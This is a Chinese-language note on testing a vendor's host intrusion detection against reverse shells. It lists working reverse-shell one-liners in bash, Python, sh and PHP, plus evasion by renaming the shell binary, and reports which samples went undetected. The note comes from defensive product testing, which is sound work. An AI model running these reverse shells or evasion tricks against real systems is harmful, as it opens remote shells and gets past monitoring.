某厂商的反弹shell防护能力测试
问题背景
工作任务需要测试某厂商的反弹shell检测安全能力
测试思路:
- 挑选测试样本
- 每一种检测策略挑选对应的1-3个样本
- 测试过程中
- 如果某一类样本中的任意一个样本未通过测试,就不继续测试同类其他样本
- 如果某一类样本完全被拦截,就尝试绕过
测试时需要注意下面的点,可能会影响测试结果
- 反弹shell后,是否输入命令
分析过程
挑选测试样本
按照安全项目/HIDS/业务:入侵检测/反弹shell/3.反弹shell检测.md
学习的检测策略,每一种检测策略挑选对应的1-3个样本。
bash进程、默认文件描述符指向socket
1
bash -i >& /dev/tcp/127.0.0.1/2222 0>&1
没有bash进程、默认文件描述符不指向socket
1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',2222))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
对抗行为(使用其他sh解释器)
1
2
30<&196;exec 196<>/dev/tcp/127.0.0.1/2222; sh <&196 >&196 2>&196
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'对抗行为(修改sh解释器名称)
修改bash、sh
1
2
3cp /usr/bin/bash /usr/bin/x; x -i >& /dev/tcp/127.0.0.1/2222 0>&1 // x是bash
cp /usr/bin/sh /usr/bin/y; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; y <&196 >&196 2>&196 // y是sh
测试结果
1 通过
2、3、4 不通过
总结
4类样本中,仅检测出1类最基础的反弹shell。
在测试过程中发现:
- 检测到反弹shell后不会立马告警:厂商会检测shell是否执行命令,如果仅仅反弹shell但是没有执行命令就不会被拦截